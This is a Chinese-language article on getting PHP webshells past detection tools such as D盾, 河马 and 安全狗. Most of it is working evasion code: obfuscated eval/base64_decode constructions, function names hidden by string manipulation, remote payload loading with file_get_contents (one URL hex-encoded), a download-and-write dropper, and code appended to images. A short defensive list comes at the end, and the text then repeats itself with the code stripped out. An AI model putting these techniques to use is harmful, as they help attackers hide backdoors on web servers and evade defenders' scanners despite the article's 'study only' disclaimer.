php大马检测绕过研究
字数 754 2025-08-26 22:11:28

PHP大马检测绕过技术研究

前言

本文详细研究PHP大马(功能丰富的网页后门)的检测绕过技术,主要针对常见WAF(Web应用防火墙)和杀毒软件的检测机制。所有技术仅供学习研究,请勿用于非法用途。

测试环境与工具

测试使用的WAF工具:

  1. D盾_Web查杀
  2. 河马webshell查杀
  3. 深信服WebShellKillerTool
  4. 网站安全狗网马查杀
  5. OpenRASP WEBDIR+检测引擎

基础绕过技术

基本思路

初始思路是将大马源码进行base64加密后执行:

<?php 
$code = '大马源码base64加密';
eval(base64_decode($code));
?>

函数分割技术

将敏感函数名分割并重组:

<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a . $b; // 组合成base64_decode
$d = $c('code');
eval($d);

变量引用技术

利用PHP的变量变量特性:

<?php
$a = 'bAsE';
$b = '64_dEcODE';
$fuck = $a . $b;
$d = "fuck";
$e = 
$$
d('code'); // 相当于base64_decode('code')
eval($e);

字符串函数混淆技术

strrev()函数反转

<?php
$a = strrev('EdOcEd_46eSaB'); // 反转后得到base64_decode
$b = $a('code');
eval($b);

str_replace()替换

<?php
$c = str_replace("s9mf", "", "Bs9mfaSE6s9mf4_Decs9mfOdE"); // 移除"s9mf"得到base64_decode
$a = $c('code');
eval($b =& $a);

ltrim()和trim()函数

<?php
$a = ltrim('mmmbAsE64_D', 'm'); // 移除左侧的'm'
$b = trim('ecODeiii', 'i'); // 移除两侧的'i'
$base = $a . $b; // 组合成base64_decode
$c = $base('code');
eval($d =& $c);

implode()组合

<?php
$arr = array('base', 'code');
$a = implode("64_de", $arr); // 组合成base64_decode
$b = $a('code');
$c = " \n ";
eval($c .= $b);

strtok()分割

<?php
$string = "//base64_decode//FuuF";
$a = strtok($string, "/"); // 获取第一个非/部分
$b = $a('code');
eval($d =& $b);

strtr()转换

<?php
$a = strtr("bask64_mkcomk", "km", "ed"); // k→e, m→d
$b = $a('code');
eval($d =& $b);

str_ireplace()替换

<?php
$a = str_ireplace("uuuiii", "4_decode", "base6uuuiii");
$b = $a('code');
eval($d =& $b);

编码与加密技术

PHP内置压缩编码函数:

  • gzcompress
  • gzencode
  • gzdeflate
  • bzcompress
  • str_rot13

远程加载技术

基本远程加载

<?php
eval(file_get_contents("http://localhost/test/Hi.txt"));

结合substr()函数

<?php
// 293930是文件原始长度
eval(trim(substr(file_get_contents("http://localhost/test/k.gif"), 293930)));

HEX编码URL

<?php
$s9 = "687474703a2f2f6c6f63616c686f73742f746573742f6f6b6f6b2e747874";
$m = "s9";
eval(file_get_contents(PACK('H*', 
$$
m)));

混淆远程加载

<?php
$a = str_ireplace("fuck", "et_contents", "file_gfuck");
$c = "a";
$b = 
$$
c('http://localhost/test/okok.txt');
eval($d =& $b);

远程下载执行

<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file' . '_g' . 'et_' . 'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif'); // file_put_contents
$c('s9mf.php', $b);

图片隐藏技术

使用c32asm等工具将代码附加到图片文件末尾而不破坏图片结构:

  1. 用C32打开Gif/图片
  2. 将代码粘贴到图片底部
  3. 保存文件
  4. 使用substr()截取代码部分执行

防御建议

  1. 禁用危险函数:eval, assert, system, exec等
  2. 限制文件上传类型
  3. 监控异常文件修改
  4. 定期更新WAF规则
  5. 检查文件完整性

总结

本文展示了多种PHP大马绕过检测的技术,主要利用PHP的灵活特性和字符串处理函数。安全是一个持续的过程,防御方需要不断更新检测规则,而攻击者也在不断寻找新的绕过方法。

PHP大马检测绕过技术研究 前言 本文详细研究PHP大马(功能丰富的网页后门)的检测绕过技术,主要针对常见WAF(Web应用防火墙)和杀毒软件的检测机制。所有技术仅供学习研究,请勿用于非法用途。 测试环境与工具 测试使用的WAF工具: D盾_ Web查杀 河马webshell查杀 深信服WebShellKillerTool 网站安全狗网马查杀 OpenRASP WEBDIR+检测引擎 基础绕过技术 基本思路 初始思路是将大马源码进行base64加密后执行: 函数分割技术 将敏感函数名分割并重组: 变量引用技术 利用PHP的变量变量特性: 字符串函数混淆技术 strrev()函数反转 str_ replace()替换 ltrim()和trim()函数 implode()组合 strtok()分割 strtr()转换 str_ ireplace()替换 编码与加密技术 PHP内置压缩编码函数: gzcompress gzencode gzdeflate bzcompress str_ rot13 远程加载技术 基本远程加载 结合substr()函数 HEX编码URL 混淆远程加载 远程下载执行 图片隐藏技术 使用c32asm等工具将代码附加到图片文件末尾而不破坏图片结构: 用C32打开Gif/图片 将代码粘贴到图片底部 保存文件 使用substr()截取代码部分执行 防御建议 禁用危险函数:eval, assert, system, exec等 限制文件上传类型 监控异常文件修改 定期更新WAF规则 检查文件完整性 总结 本文展示了多种PHP大马绕过检测的技术,主要利用PHP的灵活特性和字符串处理函数。安全是一个持续的过程,防御方需要不断更新检测规则,而攻击者也在不断寻找新的绕过方法。